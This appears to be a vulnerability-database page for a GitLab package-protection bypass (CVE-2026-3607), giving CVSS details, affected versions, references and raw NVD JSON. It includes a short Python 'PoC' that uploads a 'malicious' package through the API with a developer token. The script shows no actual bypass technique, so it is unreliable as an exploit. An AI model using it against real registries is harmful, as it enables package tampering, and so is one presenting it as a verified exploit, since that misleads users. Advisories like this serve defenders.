CVE-2026-3607

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.3 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an authenticated user with developer-role permissions to bypass package protection rules due to improper access control.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

GitLab CE/EE 18.3 至 18.9.7

GitLab CE/EE 18.10 至 18.10.6

GitLab CE/EE 18.11 至 18.11.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: GitLab Package Protection Rules Bypass (CVE-2026-3607)
# Description: PoC for bypassing package protection rules as a Developer user.

TARGET_URL = "https://gitlab.example.com/api/v4/projects/<PROJECT_ID>/packages/generic/<PACKAGE_NAME>/<VERSION>/<FILE_NAME>"
PRIVATE_TOKEN = "<YOUR_DEVELOPER_TOKEN>"  # Developer role token

headers = {
    "PRIVATE-TOKEN": PRIVATE_TOKEN,
    "Content-Type": "application/octet-stream"
}

# Data representing the package file
payload = b"Malicious package content"

try:
    response = requests.put(TARGET_URL, headers=headers, data=payload)
    
    if response.status_code == 201:
        print("[+] Success! Package protection rules bypassed.")
    else:
        print(f"[-] Failed. Status Code: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3607
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3607
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3607/
[4] VulDB https://vuldb.com/cve/CVE-2026-3607
[5] https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/
[6] https://gitlab.com/gitlab-org/gitlab/-/work_items/592466
[7] https://hackerone.com/reports/3586233

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3607", "sourceIdentifier": "[email protected]", "published": "2026-05-14T06:16:22.790", "lastModified": "2026-05-14T16:20:43.240", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.3 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an authenticated user with developer-role permissions to bypass package protection rules due to improper access control."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1280"}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/592466", "source": "[email protected]"}, {"url": "https://hackerone.com/reports/3586233", "source": "[email protected]"}]}}